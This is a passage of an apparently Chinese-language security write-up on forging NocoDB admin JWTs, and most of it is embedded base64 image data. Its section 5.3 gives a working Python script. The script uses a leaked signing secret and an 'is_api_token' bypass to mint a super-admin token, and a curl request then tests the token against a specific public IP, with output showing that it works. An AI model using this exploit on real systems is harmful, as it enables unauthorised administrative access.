mumD7cxNhh11HMJxfdvaToZjs3JxQ05tarlWD63m9yCUvlntfnMDufYB9rGt5TWA4O4XbXOES1kOG8cF242ngZHezcuB8PvGy/jAMc12w/bmJ8Bl2DMMwDMMwDMMwDMMwDLNCcIQdwzAMwzAMwzAMwzAMw6wQ7LBjGIZhGIZhGIZhGIZhmBWCHXYMwzAMwzAMwzAMwzAMs0Kww45hGIZhGIZhGIZhGIZhVgh22CVyfKHeuvLwQfnCZIZhbgh7D+Bh8WYlcT20X42uUG/WvIBj/TvDMAzDMAzDMAzD5Cazw+4YLtiZxTDMunKyC5u3b8NtcZ3O9GcMwzAMwzAMwzAM0zPXEmGnIlSsKJYiWkU5/KrficsT5UKl+VkllHsM0201md/cPdGf9MkePHho59O5LjDX+eswRL3uyktmh3iPiVysXg/huny/lDxnxY3sCpa9lHHhHD++sP7Wdz2s/J33WpKONELIsyxe4L6lyCIXQZk2L27IttC3LBiGYRiGYRiGYZiVomeHnZqkHo4Bzg+U40tdl7AlJqiGxfmB9d0BnMMYDpOdN+FnqaSUA8x7z0p6Ak5gd9POp75kKNACzu9P1W2CPHUY52R3s3zGQnwwOy2eu62zQ7lHsjiHA/05XqezAYwPrydik5znHKBDSilh8Yzbt48A9v2O4+OLCQz1zwXTbetv63m+fXsTb4Lt4nf7OgWpQVdnQsN6hJBn2y8+OzWfl1d2WeQiUaYMwzAMwzAMwzAMY5PFYVdGIylHwmB8aEWVlA4X5WiYwakzEZeOhM1d/bMLOqnQoTCA8b4ddeJGm1WdUbFn4Ud7D/ZhPFiIObXnHu0JaIq0qvvz3Oglj3OsFnFTvbc5qivkaBPPnQxhcX7klMGmWofhCB4n8ieS52Uy3VZOnMH4HjnPsg7lfVV5VMuDeTffq3IUEX6Nz3DQUV8+Z6JKy3HMuFFihQIJPd4RrWZxDkcVAaLMtoUmOoj84+2zU+Vky8Hegx3RVhZwdeYoUGOeq3VXUn6epGMZaNd2utKgY6kyZRiGYRiGYRiGYRiHLA67MhpJR+pUokr09lHtaFic328xYZ3Cfem5GcGOnBPjRPkQxvMyGufgHGB8qCfnpGftwc5oIG66AtdPYVOWTV/iQRgIVAXzM4FhJTroDDZsByM6iioRNzqiyHIq1p6l7wk546RjsuYY8FHW4dUc/9+Akf7Gx/yRklksz8vlBB7N1U/kPCMDjCacgMikyvfpTDqRbSfraH8H5gdYnoH4+SFMQMgOIxULHYswva+ciaMdxyl1DFtC92B2WeiedF5NhtUIscutqtM3UjbFHjzYH8NA6Fm+yLJjuDcW7WB2VpFnOM9T2JbtYADje2UhlJNcOcCT5JWBNm2nE4sN2InoGE2mDMMwDMMwDMMwDFOnvy2xow0xve86SR/AhpgBq4igGZxaXouT3SPpfJEOBMqz9nZA+esybAPcuwsb4r/Zpe1FKSP5kL2dkcjTDM4K78EJ7J6he3MIW/Yk30JGAELAGWeirc7K58QZwInxgkl0pKLxNMiyLGB+1S7PedmDu1ixizk5zwZ0NBXqoZ1rwyLTAxjMSwfVYDC3dEnpWJwTOLuSHruqg+94SzmtzPZkIyM7P8h0W/9e1ukEI7UqHp8qKiK0qvddMdF19nbqeJ4F+HIGdHAOJ8pJdXwBE/k32vmcKK/cRNtOVwYDmPt0bAed9HSZMgzDMAzDMAzDMIyP3hx2e9LzYlPdTobb50IYB8D2VEfGWRFMCh2NtXG387OSOXkE+OjhpPkQ/NEGuhB9NDgu9h7A/ngQcMalR1sVTpSruXjqBtyVjqYRyKwNt0Qt4a/K2al+TMxzZo4vDtWW5aNdcp4VM6j4Ti3dMFScq4s5tCnOydmVyNMARpbH7hjD66yoTeP0rObHQZ7lpqMXhxOtp+5ZZyoSrl2EahP+6DpSnhGRb+WzE/lV3rpSF5PkRUM+x27HTdtdo20nBw06ZqLqSDJlGIZhGIZhGIZhGD+9OeyqETfItDgAHyf9MUonnJn8m0lweaHPAOn6rHQwfTU5L50KVWfC9D5uIRzCTu2cK9+W3Lgzrk20VVGH0sGoI8kwImx2LvJunCvIHDA4MS3PGZBbWS15buBLKPTWW2Kee+VkFzCQqtwWq7bD2o4i6fQkOQTxfLNye6XQJBmdZRzA9K3PdLzRdQJ6noWObJuz9BxdXIK8Kttz5eXblh1uO8VZhdaV6yw9uQ24QlimDMMwDMMwDMMwDNNEf1tiZcQNBjm1mxyraC+c9F6BnBeLCXl18q4vfHkF5Vk6Kq5+BllbrMm5Od/LnKmH6Kii8oUch3LL3oG1bdYQd8a1i7Yq61CB9YNOvNnlLjyaq0gx6dQzzpqEPGfBeUssytJ9TjTPPTO9FPVptsXK7bDVyCvKWW41ZHSWcoThFku13VRFGuard390HULP8x48eIiOxBnMFkOYeF4y0be8Ym1num3pl77kGZsZCDo6XZkyDMMwDMMwDMMwTIDMDjvlTBv4DgE7OQN15FcLB5k+Uwu3waJjzGxvbEyH8Kw9mAL6WgpnS07wfC/ttFNVoSPTXCejz/FltvOdNr9NslW0VaUOtdMTRNlF/nB7KzqesL5kduePRL4S8twLlDw3oSLf8LzC7Mizy5QjSm6HdbZqq2jPbmf+yXSlA9iODMMXPIhPtTM1NUqsKboOoeZZOcfQkbgN2zLUcAz7RT66yKslhLazPPTLRhLLVbeV+tzGZdQPwzAMwzAMwzAMszZkdthpZ9pwx3O21AnsHp3DArc9eiJxGhGTcHxTKZ6pZaJm5FZNTKdxbxntWWo7nxMJJzmGi5R9a8cXNYeJOgfMnPVGcDJKwtv5JNrxlnQ+V60OVX4G4wmMQW9vnV7CTNTXBCP3ZKapee4LSp79qLeX2i/PyIl6+QQ6zmQUnOsAMy8jmDg6JnRGqZjQNY+OKoeakrMvKsx9I3NalFhzdJ0kmmf18yHWu3kLqz7PbjDe13/TXl7tILSdJWJ0TLWvuExFZai3Nju2snCCehypDMMwDMMwDMMwzNND9i2x0208y60aDVQ4szDyDM96E1P4ylllYhZrRz+VWzDFdTiWb2O8fduKmpHpnMLMc45d4VCIPEv5KdTZdqczN3ppCy5TZv3TbTiCfevvn8DheA6n1hlb0jmIDkTrHnOZPKvJuvjBUy5Vh9opIW+pfi+vh+VWu1gdmvO27LqQEYcC83ZdWp4f6s/wBRHiAyvvKfdQoORZod/OqS91Fl5a1FVKntXLJwTes/3UVumajm1daseS0MEjgH3zub6U/jhvac1E4ThqfKtEJM/oAJYHRladoK4DnC4vGj6dp7cdGqXc9ZmYlv6bdJS8QzpGk+nJ7iYcnEOljl27wTAMwzAMwzAMwzydvObWrVuv3rlzBx4/fqw/YoLoaDV0gNGdKfiWWrWN1T3/DQ/Bl5FZB6s2SV/HPCuHi3J69LgtUuuEqJBs56ExDMMwDMMwDMMwDPP00t9LJ24I1a2uRPbuAh5LVUYalZgopJVjHfN8TSidWNaWW4ZhGIZhGIZhGIZhnjbYYRdkDx5c2GdRRc7+aqLpjbR76pB8/1bKa2Yd83wd6LPcrudFBwzDMAzDMAzDMAzD3DwA/n80gZKVS1miGQAAAABJRU5ErkJggg==) + +里写 is\_api\_token: true + 随便什么角色,看看服务端认不认。 + + +### 5.3 伪造管理员Token + + +拿到了密钥和旁路条件,伪造过程很简单: + + +``` +$ python3 -c " +import jwt, time +secret = '36361e58-321d-4198-a204-6e5341e73f82' +now = int(time.time()) + +payload = { + 'email': 'admin@nocodb.com', + 'id': 'us_forged_admin_001', + 'display_name': 'Forged Admin', + 'roles': 'super-admin,org-level-creator', + 'is_api_token': True, # ← 绕过关键 + 'iat': now, + 'exp': now + 36000, +} + +token = jwt.encode(payload, secret, algorithm='HS256') +print(token) +" +``` + +验证伪造的 Token: + + +``` +$ curl -s http://139.199.68.168:8080/api/v1/auth/user/me \ + -H "xc-auth: <伪造的JWT>" +``` + +``` +{ + "email": "admin@nocodb.com", + "roles": {"super-admin": true, "org-level-creator": true}, + "is_api_token": true, + "isAuthorized": true +} +``` + +/auth/user/me 确认了伪造的 Token 可用 + + +![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABO0AAAG0CAYAAABuYtOGAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAKaySURBVHhe7f0PjDN/ftB5fgYmTBYy41nlsQdmkickaSchWLlAOgPXjrLA6paNtSQtTuTivYzuYTksQJwTnZYmm0502stYIs+dbhXv6UDOhjxcsjECCXXg5IE9EcTuuIFME5JRh/xx5880ZJRxT45x/sAMBH73/Vfl+l/fsstut/v9kup5uu3q8re+9a1vVX38/fO2Fy9evCU78AUf/g45eZfIL//wB+Unv9O9+ES8/eJ/I1/+9V8lzXe9Xf32m/Jrv/A/yUf/7I/Jpz9u30e+p3zc6zWQq7uRdG4v5eR84l5DOZtv3cZK5pcnct65lod+W2Q1l8uTc9l3Tg6u7mTUXcq0eSZD91qSzzq1G1zJ3agrDVls97l1bedYkT9Pw1jXEy1bZ1DdPq7wnHEy6u5HqTMLHFp69srj3KktfzzKBkrUXdfVfI0bXz+IvWVb3/s+6XskYJ9cuV1Om3KmCy11pp9DOd93fC/6W9z/R+HFD/4f5f0f+TPy+f9798IG3v5dH5Czb/4DLmBnXpF3fmFP3v+Xf7/7HYemjuNev460VC27vKdq3crtUlb6/+U9FykAOHSTczlpNqWplunCvQZolA0A8EediYgjCtr9fnnPV/xOeec73r75Tn39H5av/IYvkM+SX5df/tD3yt//ig/KP/iOmXz8MyKf9YVfK1/8X7n19ki3+vuKD3+b/KGPfof8p2r5Qx/+M/Kl3/257l0/v/37/rz52/XybfI1H/6AfP7F73BrPGU1HPc66Sj7w4Na+tJWv7b7+udrGdt3/ehvDMw20st1bENjuY69fydXA/eWor/djP5t1jqB9LqRNIf7lF5sepLpcMvdlWR8VImJ3C/1/0vZebwzL5/jmVyrwnyuIryQ532jVFw2QkXb8cif7DJml2jZuMv4cP2NfJUyUv5ZEWHak/u9zpfk32SmpyB/KqWnwG63k9j/3HN5s3KY/sz1dqrtV7K8brqdLQR5k9qobv37EP6fn1duHyJ/X5Q/6k2/+ie53kb1ak32VGeac7Ekn02dkpcetdScpNCTKvN7yh/v41WrZP5l71PhObh1fVhSJwT57xKWSkvWubzV+V4tPUbRPcAG+TM8swGGTXqYeOWP+uT4cd/g3ibYhsdJUFh+8s6vSidXcMxylsS2itKTfm+9pJO0y/qn+rUyV8l1OXr8i8tPtXx+Ojz3y/dakLFetbo7KFeJYx9u91r9kix7bkme77n1T0Y5fDLn+3aOqqXdtt79zX/ANEH9lR/5XvnJv/gJ89p/+Ns/Jj/1wz8n/04+R5rd95nX9iXa6u+3utd+67teyOd93Z+V93/fNml5u7zjXV8gX/LNH5D3fb17CVszJ3u/LYupqjjMVyK6mW5eJVLObMf8/XoxzaU1U5n1pTW/DN+7nIt0R8nKLEiDXi5lvmqodaI3ObYyG3VF5pfrz2k2b+Q0UYEWpkfR3SHW76nPkq6M8m6ofE3uRcfwVstb+3udwko+kmbTrG8X/PN5a95lo4RH/kzOT+LvLabh+tGyUQe/z3I3MBcis6KDuVpJq7ddvte17/XmYdn5rumu58E6wVK1jrL5nFmeXSHz3S97k9QXlfDw/Wh69lbGhmfqPFEf0O7HblIHVxfSVTcG1+OJzG51AtpymnUejU/NFzWLG52o8vxRO1Ze/+hzWW1Ed5UJ1psudb2a9zC0Y3uqM2+X5RuNtmIvuzbV4+mW+V3nT9XjtbXMa9zKfEm6Pnd9r7nb1IcTOX89V1toSz91cVXl5cJ111KZrY/5qHMrl+FnTGXRUOdyNC1bn+/+6fFXx/WinFf+mIfmvrQj58N0kXWNq0NNdXgpdcxOottwi3mGUHn/Jsjpp1T/VLlWlii5Li+mthtiefnxzeenptp+lT5XJuofvZ1Gd7TBly7xYz/oddZdfB3fZ8ZDub7Xc75vZ6OgnR63TLfY+r3f5V5QwtZcP5zoRvrbvkA+/0Pf6lqKfZv8QfX+Z7/XvuWzHbvOn5cvvvgS+YIP/dfr7fyNLzfvr1uR9eR3mlfeLSd/0W43vZ2Czzp9v/zuL3u7yGd+Qn78W3/DreH81Z+RT6n/fvqdH7Drf+j99vWI3/Uhu327TZXe7/46eb9e96P/tfye7/oSeZ9Ku37/D/3I18lvd/tf6L1fLl/8n+tWfyL/7pd+ROZ/4oPy9//z/5v8kw//svw79do7v/pr5d0+21H+9Z/6f5pWg8HyD77jR0S3GxB5Ie/+avODl6M87jEuGr9REGUgvY6qklZzCevI1VJ2EGpSVOXSU5c8dSGNfpupL7S6nm73827wVOU+0xV5Qzo9u4fja90iUD/oJ/vfD+Vsq3ET9IVEXTTVZ3UvquWn/aY2uIFQ6VCVY/pbW1vBrr/tiFT05oa+oHXXRg+8rmy4JfsClr9OpXx26Q+X6M138pueVFn1LBul29kvexMZSU+4VLsZH1/bcSSbKk8Lz73lrXq/I+40SKs1f+Llouo+aSZ/TBp8ymEgfb5XUlAO7Q2zfpjLKM9V7qZUPl+oO299U1b3Tdi6TNky75OHk/PX5ias0b2wx8ilT59POn2T2a26DVbnUcaTyPjUPIaIfg6pJ39UOvttc2Mb/ZPhG/tQ3qtaiHTdsNc600eV8ryZaudO/joHVeZN/aSPX5BeeyztsVLLlvV58txZ29Pxyvlc+3nuGqfutV5nXOMa3Vfmb2u5t3HXgaz9tOlU+S7n8toEFXrxen38ygUV7L2MCYTEPncob0xlE1yH1D5ueL7Hjpd6sPRJT7BvwbHctMysPzu+RG9b1vLLT3n+6F3oSkOP6RXJoOGZfnBW95mv3AfWtl/1nO8mf7zrn0BQFl6Hn31o19yy/fK/VmaXn+j1qey6bNcpLz9piXz2Od+jb+XdI5nt+NbP8fzTQTO1Z1tKlx8f5rhEn2G14Rub962OTX/u+WT3QwYvpaWDhfNF5Njr52Mxr+Xb8JnxwM73LOsyrlsZbmfnLe1+59d9QL7kfZ/jWoq9XX6HGR/uK8xv/t4tv/ubv1FO3vfZ6+182R+Xr/zud5jfavENXyq60+nqI9fy9u/4E/IHXfDnaz/yHfIHv0vkN35V5FM3usWd8r4vl/ec6h+c0zN5j2n49knzq0nv132VvNP8/Nny3m/4RvkylXbtt774KvnCP2t+LPbNv1feY3bvX8rPfOe1fPpn1I/vfLe88wvfbQJ5Il8s7/PZTobf8uId7sB/Sn71p80PtXsyxz3KfftTXMmXaLRE1U2q3mrZ33chuPnK+JZqeKMrxZxvtyLMt96qsrP3vm9UtbQLPhfNTeiLw0i6y/W3f7YlmbugBheZTi9ReY/F3ivcVNzftvSj30qab57czUNg1ZJeap2RvXGtkM/moqgutrFvlm5O1zfAkW969ANKim/ZKNvOnpkbLpceu9hvsKredOiAr1+3nHtR95TrG/2k2vJHl9V4y4BmcyatioFsQ39r/NCTZfAtYLSMlajayqW4HAZfUNzKrNpmU4KHsLq/5NY3SSN1IthvciOtQkwe5pynhrpxNC1V9I3jtVwnW6ZMZmIbEJyqIxsVrVtqyh9z85tx7Fwa9E20v33XmR4K6szJvW5f3ZKXlU+SHKXHXSmqww+0zHcudH1ggxadizvpizq+Kt3bXHNzz519Hq8ig57oQ7GYpQNvwTVuWNe9TXCupc4LVx4WM3N9mpzPEg+b68Ci93He8HzPOl5e6anpGpe6dquKRVeRKYXnlw9bF61uZ/Hj7u55wjq5lv2q73w3fOqfCBNwVsdqHZQ+0Gtu0T2J17Uyo/xk3vuVXJc3lMpnz/NdK71XV0rrZxNwircYzj1/KkiXnwrcM+yaHZ99pb/o1i2qU+/nmN3IIvjiQJ+jS5V3Mz1GedGz8QbPjId4vkck6+dt7aF77K/Lv/zhv2xaeP0vP/LL5pXP+sL3y++KBr28/Kbptqq38xO/9Jvmlc/9st8baUU2E7v1T8ndd69blf39b/gx82qZz/nC96h/f13+1S9+gXzpN36pBKO9fdY7RP71Jz+hPl3kP/36X5df+ox+9fPkd/2JdeDot3zzl5uAn/xS5LM+8zH5iYuZa9GmysKHv1f+yUd+3fz8O96rP6vYZ3/pe2xw7pMfk0/ciLz94uvk9//gn5Yvf58N/mnvfG+FLrLf5VoJquU/+dauSu8n5Rd/8PvlX/yP7v3aPY3jHjNUlYz+P3Xifq28/7/6h/KX/l8/J2O1fPBbv0dO/iP3Viho1aIDPLqJraoAdjR5gg0I2m+pUoKJGzLZb1/Cv+201IWv+gN9dQ11oUu28kgsFb4dGVz1VC7HL9j2mzh1QTdBGNc0P1nxm6DsaqNm8LFvJU05SbReajTWsz1p7iG43bvyz2f3oJH6BnR45v2N6OZl47CYb71kw5sOT+bBJnVDWTP3IBYPolZo6ZEQdAUxXH3Vyn1STpzvIXWejKLnX6JVS1k5dA/NqYenygZiiquqJzvBN9BuKW6FUGJ8Hd4kZQVw4+eyO0+j33Kom0DTUqXRlrbaz7BlirGu52NfjETrlrryxw0NkHt8Wy8Pus4sVVRnJpgHpOBpyH2TX3XEhNLjXpSegyzzDWnoByGXoEZjGTm+DakU0w0UnTt7Pl55bDernO0F17hK9zZF9WHOeREEDsOKVdXp5mG8K/p0ClttvC6u5zv6aTgYv3eT8z33eG2Wnmwl1wtfBeUnr+TH8icjqGlasOhYmHlarzFoXNv5vlZa/wSC6280KH3A19z8exKPa2WG3Hu/wutytlj5ScrKZ/WT1/nuda9eXj8HAdRa73Mz98vP8Ey3dNPPsEGLQvels0uj/XIm4J7pEvX82lBuFvY5Sbfgy2pIkG/D69emdnC+GyX3opvYedDuX/3I98rPfOevmJ//7esfC7tlvuuPmB+8/cZHfkB+/FvtOHP/+uM2+FWnd36uDob9iqze+aWmu+W/+egPyT/6iO4U+2n5Nx/Xbbysf/ER25ruc7/if2X+197zpbaD5q989CfM/9pvfPRH5JN/V+Tfm9/+pfziBz8h/8GE/nSm260FXTdjy4e/zrwXHpjPiLz7B/+8fM03f5X8x+9Q2/3pvy0//UvuPadoO/leyO/+5j8Zm3F1s+1keyrHPU7d6OiIfeKB+u1f8xfkf3f6efLb3e/v+pL/Qobf9XfkP3nP++Q/+oZ/aAN5H1B3DqrCjvVxb/c3v8FR7CQW0cV/W+sbPxtEtH+vKl/T4sde7NKtAXUFHfm8RCAtnZ6gYs8XVPJ6PKjMcReCxTuIEXzjlWz54SawcDe2tml+PLBmm35v8k1KThAsJrmOS0+j5Z3P9mHE57O2kx/kORDqpsN039jgpqMa/a1ea4NuhhW4BzF97kS/gd2MT9nIP98NU0dFzz1dX0Vv0vZXDtUttfkGV9eTpzeRNKkHMP1t/UYPEb1r8+13/k1SznmaeCAOuvaoCiMdHHAPJtEHrs3rliL6pldVIYlWvfYB3P3i5THqTB/5dWb8CwbXMqMgwF5+rfQ57gXpqU29ZT72IFQwHIfXvcSm584Gx2vXvO9tPOrDoNVa9LzIrCPDINSduX6VthJXD3T2O5XgvKx4vpcdr6rpyeKRP/7yy0/m83kqf6JswGDUmqk0lQdvHp9P/aOp/dKtyCLdPutV9zU3uV8JVa+VJfd+hdflpLLyk5PPPue77z1SUf18NsxpObqV8vJTfC2wz8B2nEj9nruHDJ7PTD0fBMeDsuTqefdFif3fBkp1137pXEivXZ5XgXhg0Nrk2fPRlV5PN7PzoN1nfi0yPtzHgyDW2+Xttu+ot1/7eCJSVbPfptPzq58Uea+dmXX1Cz+vXvsc9dOn5d9+8j3y2e9SP/7KJ+Tf/tUfExOKCrrIhl1jf05+8XtMM7wM/14+qfa9iv/g/pf3deWrvuLd8ls/88ty94P/nfzjb/yoiGvkFwQBvXznD4St0P7Bd/wt+cVP6r99t3zJt/4x+37Nnspx99H+ks+Tz5LPyD//f3+t/J//2/+P/KLuI/3bv1z+t/+X/1m++49+nvrlM/KLPzE16+qLse2XryrshblcmYfoTR7Y9bc48Rsm/5uT9beRekwX/bcumBgZ5yRdObqgpVrMF5cJ6fQk+/6npW+et7W+6YhX4g/2Ah2YnIv+km/dzN1eIHcfCFoLBuf2zWfzreDOxkFc233Lym3s+qY1Tt8EihsDaTf0sbbn3vrGY5c3HPnnezZVX7luJ8FN6r7KYSh5rNWDoj4v0l1Uyqgbza6tBLYr464Mmp/VNlNdme3D9ToosYubb0t3917fQNvlQmb22Hq35H56dablvm3XLTMWcxMsWD/7xVtPbHOtLOIzwcJGaivzfsrzZ7NzZ9Pjtb3ilhhV723W0vVhcL6vj40Ngqe73rq/bTTUXy9kVnRzNLYPdGojifHZfM93n+NVIT3esvJnc7nnV07+WDoA68au3cdNwh7ZAO323T5L7a3+qXKtLLv3K7suRxSWn7J8Lj/f936P5Mmn/BRfC+yXG/22u4/UXXXNfYO7ZzVfQifr+WgL10S9q7sb6yMWqyvtEcyT9cy4ybPn49rseuqjtqDd29+57raZ6+s/V2yvQh0IMz+keG2nJsWf9VvlHe/ULeJ+XT79vi+W/1j99Buf/ITIzY/Kv/wF/f7nyYtvUBnousb+m49ey6cqBuY+9jWR7pzB8jUfMu99+uO2lZr2GT0RxTf/D/Kx179hJsxovtCv/qasfsa2QCvaTpb/8Lf/ufzc3AXD3vFu+79SdTva8R33tJ/6q79Phn/uy+Wv/ONfkt/8xLfI/+O//X75p78cBGg/I5/4X17L//BR96sWdAd5o7+ltAG8oi4AVdkb0pyuAOZbjqxvodY3W+E4Xu7b8V22vLLN0xfqIqwuuLV0j70Vc5+nLuzxStwtkRZ7ZnyboJm7aZLv/21PHYILu28+mxvYvG+dPW1WNg7H3m5aAyZQkei+UTt17gWtTM14JfqhbNffFGac73lca8BgzKTSchisv/UNvjuXa7MSPeuXfvjQAdJNWzYGLVv0N6TmAb/RlYvEwYqND+m6+9wGTQdqyx/LTsyzXlQVZ4JweowZP0+wznR5qNmuNeo8vV3ZFhvBN/p7kEzP4ZX5umx27jzG8UoH5CKCz9rm3iY41pGoYOy8MF2pIud7VDCOV2brHmdwJXcmWq6ucxk9DPzOd8/j5ZOeqjLyZ1NB+YnVZHn54z633bdjw0Vbr9gH/RoDw7Wd71WM5ZVpEZkxDmNt6dl//VN4rYwou/fzuS4bJedXYT47Zed7Hffq9Svfr2L6Ga1vrvnTIJCn7o9PzDOsDZIGdL2qzzldz98vbQDfnIP6WhBj732rtDQzdYL6xH3ed9R/vtdzL5plo6Bd0AosGFPtc77vz8vv/7LsQMhn/TY7hYCcfpF8/rd+lb2gfuZjsvieatvx9znS+ArzKTG+n/XpX/u0+f93fsN/Ix2z6udJ55u/VN4hvy4PLtD1yY/YCSl+51ecua6xn5Jf+tDHzHu1+cs/oRuoKb8pn/74L9uJKL70PfK7vuuP2PHzPvNz8okf1D9U91v+8BfI7zq1+WBaF3o65uNuuS4UZQGk/98H5a/9X79chn/ui00wbzR9496ICm4gdnCRNE3Osx/GC5ueu5YUYeub3EFXa6IunnpsBX3DGFTe0ZvR2JJ5cc2S160gg+keYi8oJl9Kb1xtixT/h+Ei9htF/e24bz7bh5EtA0iblg0vm+dP+gZ/PbZKmJyga4THWCV10jdomWPL7IK+CXKBuxqeeYolz/c85kZanx4218vLofv2PDnuS2X5XYRSZaMCO5ugvlnyCYwmvvl3ZVDd+ZoxXOwYL2pXkxPPRLr9pM+rTfPH8/xywbRUyxn9sGK+BEl2fXyCdabTenmlXrM38KZrVG1dLotafASi6TnsMl+XTc6dvRwvV0cZGV3uLPXQqW841Lm71b1Noj40IueF6Rq36XVUn6NmdsjIg3GZvPNdqXa8apKVPxtZl59wzwrzx52D6vjGh0PL6/6/jR3X4Rn1T/HkAU+4/im8Vjpl936+12WP88trkoaS872We3X3bJi8Nzbj3Lmfq9hq8gnDll1VeONB9OAZVg+DED7PqnKokq2Lub5/1vWs2QtVfrbqXaWOX/DMWN+57GM35/su6ueNgnb/6hfdhApf/SfNuGd/4Kvf7Wb3TPvcr/tv7Nhof/W/lC95oVuu/ab88t+dmfeqbKfcj7n409ul+XX/p/WYbD/8+827Xp/1js8W+cEflY+bRlSfln/1kX8qtkGV+vnDf1N+7q/qn5UPTu2EFF/4tdLWsaBP/ox8rO4JHT7+z+VjZky9t0vjq/9Luy9/U09Esc5D35Z9ybHq/vD3fMBt59Py8X/wI3YlD0d73APBjeG2F8bIN8vBt0P1djFyM+y0+7EIvh6Ut99eFQ42rMcYWLe+ca1x9AxQ3i3dPEUvnjW3mjL7oNNc+vWFHVRWj9Vh8iU58O34OpF/erD2nG/QKzIX0HDfPfM5GIMmWcEn0lls87KRUkv+BOmJB47seRE9JmVdI3ZI53urJ70t7jVyqTxMjhNjx0PZT4vH+PmeQZ+n+lvpaL57lEN706y2m2oxOJZr/8IansvRb8zTZaMq/QVBkL7icUCD89Q+EAfdb6LnydAO6J7KQ3eTp84z0wsnEfzxyp8Nzi87Y11L5pfpBxJbrrT0w8TTqzOdTkfawQ28CcS0padP1NSDRTXx454tmZ7DLvN1qX7u1H28Ug/EqsyZrm6h9TUuWrdG77XMfmxyb5NVHxruvOi8klcddVezyf2cR0Ahqeh8t/yPVy1y86e6VPnxyJ+sc2d8PVLHPVEOa7CrOlxL1T9q38smD3i69U/xtVJ9ume32JLrss/55ZHPVsn5XsO9uh7nW39G9N7Y3Ke3VmpPK/LeryJB4MpOXhMKZmdW9brOF109N7p96aoa3RRzHZRVf9NXK5UGq12LtkzR41fzuexjN+d7/fXzRkG7X7/4m/LTv/RpN07Zb8pv/MKPyD/5vp+QyChmsvqZj8nqV4N1tN+Uz/zqx+Rnf/C/l5/8Trumz3aq+Bev/7b84id/PfKZa2Wf9Ru/pv55x3uk8eKj8lNfrbuG/t/lx/7Uh+Qng5//XHxsNTshxdvNDK+/8pH/2bxWNz1D6vxDP6PycT123b9L5OEm/v1nPi2/9gv/VH7iu/47+anvzBuHL+0Yj3uM+0Yo85ugUurEDrp6mhtMO5adqoNMM9m66yAzTbq6aK3HydKftVQXq5K+/qnWdrr586XMVRU8CtKvlqyLa/SzgiVagekHvfA9teN6prCdDBJs0qwqQnUTEE2LXpIXzHDg2qxjOjyTm9P139pjVX2sBPsZ9ngH2+q35nIZ3XevfNYVfHpMm4fTm7D8mNnSIn+rL7DB9oIHGJ+y4bMdn/xZb0ffOKsXIsckOBY6PZdzie1TOj32gSv698ESpMfns6L7ZWZwNhdLty318JZN3zypNfXqjk/++KRH5+FruQhf10v+sSjYzqYS53t0v8wSnKexCqq8HKodSwxYHCyncuNW8tovfV7YwhG+V0/+qPSZFo3JQdPzz1P78KfOx+SA7W68H/250SCB7fajZd20ledPtfPLLn3RXVzj6wTCuk5dxVKNYPZYZ0bTnFtHldaZrhWCOinXDwLuQSp6onorrp+96nCPY/q4Zb4u6XOnruPlUzZ0GbtUT8Th9cv0hrQtFgLBNS56z2HLYuRey+Oamzy/sutDy+SBmblys65b6xY08Xw0iwssJtNTdL6v5dV1xXyORZX8KeJzfvnkT9a5Y8ffWm/Hq4wFMurDcDZMna811OFW0b4HQSmdnPU64RIGnZ9u/VN0rSy79/O9LpeVH/98torPd597pHK6HotuY6QnVjmZxQJb5eW52n4VsWNqJrajPlR3SQ7O+WAcyvVzy9AG+5Sq47f5PjNm7VdQDg/zfI+K18/betuLFy/ecj8/a5/9fX9eul/9bvmNj3y//OM/9fiTH+Dp0t+OmputKrU3dsN9e6Nq1lpn8AHwtOibO/twkr4pRMSR1Zkc92OmHljv1EO9zOXSe4gN7JSrP/QDOLfA1D8A6rPz2WOfik//8M+Ijh//jq/+E/Kl32VnkJX3vkM++1vO5Pd835fb34FSdmyI8jEtsA/B1OxF3aAAABZ1Jp6OiZybKY8jXbp00KhC6xLUa5/DPwDAc0LQLvC3/79y99O6G+rnyOd9w5+146L93b8g3T/1R+S9L7adJAHPh202TauuAzC+Ft1Fct8TGwDAk0Sdiacm2Z1Wt/Laamwn+BvI1XU0QGpnsJTFrKTLGACgKoJ2EZ/6xr8kH/nwx+TXwmHeflN+7Rf+ifzTv/xj7ncAhy4c46DfVg+fdNEAgCLUmXjKzBh3TT0ekl0ov/sykfM3IhdujKeHh760FwwNAwC7wJh2AAAAAAAAwIGhpR0AAAAAAABwYAjaAQAAAAAAAAeGoB0AAAAAAABwYAjaAQAAAAAAAAfmKIJ2duazaxm7358Tn31/lPwZXMmdmU1qy8+tazsFnnP5gac9lMO67LU8h/nilrsrGbi3gFLja1Vu7uSqoNDUVp4pq8fH45g+5vV9fG3TdVdUwHdo4313+Xp9+Be7eq7LdW2nTsmyXVJP4ng8dr1RG4/6GUrN9c/RlB+k0NIOwIEZyzUXnKdhci4nzaY01TJduNeAQ0RZPT4cUxwj/RA/6kpjMTVl2y4ncj5x7wNPAfUzUKvdBO3Mt+cP8pD6mm4gV3c6AnynfrYP5nq95GomSryjiLz95tF+rl0ike3UN1vrJUxjsG+pxW3HY9+DWEQqLcl9LvusmtiofN427XEK/s8KpGQer7CyPpOheyluffztkvMtYtF28o5XxtfDhcfdR9axSO5zhfTkC8pJzqK25XO81scpmc+bfnuevx3f9KSPgV7q//a4Wv4E1vuXGSwsLM/ubz0ydqP6Z7MDVqq0/jkw2eXHLuksSpbXdT5X206e9faTf5NZH4bHdrvynlV+1Kuuzigu8/7lqHh97/PL53pag83O923452fh+a4l86jyOVh+vahsq7LqkR6v+8Md7JeH0uOlVcif4Zl9YD2pNdpS9/nub/flOesz1ktql0rvMz1tsx2v8uyOScY+ZF0vBr2ONGQl8zfR1JQcd5f3PunR5dbWm8ml4jnv+VnhetEluc+Zx32TOshP6vPC9NR7flUqz8529ca6rNml7jysN3+qrF9Y/yTrnmDxTke955eVPBY5x7yu52Uns/xknYNuCdPkcZ5aRelJ77NZYtux62Tdl2XeP+daf1YyX4Pt+KUnIsyDTc6b4LMSZSgsm/p+fTu7CdoNz+RyvhJp92MHZXB1Id2GyGJ64l5RVitp9XwP0DZsZo66IvNLW6DtciOniYO3mEbft8tZ7ExSF9PYNvTiTjaPfdfnka58Rp1buQz/fiqLRldGqYJU8Fk1uV2q9O6TOSn60ppfhvt0ORfpjvIvYpnCii5YLkVnfZz/cS+kjuv6b/WScby80lNmIucn0W24xXxNZW/ifI7X8l4Vssx8XqmiWfEhtmQ73ukxFjJ127D501DHvd6bimrpscbXfWm7n3fDXtAzy2FQ6GspP37865/DMTk/iedLpBVCtH62N3Z9UQUt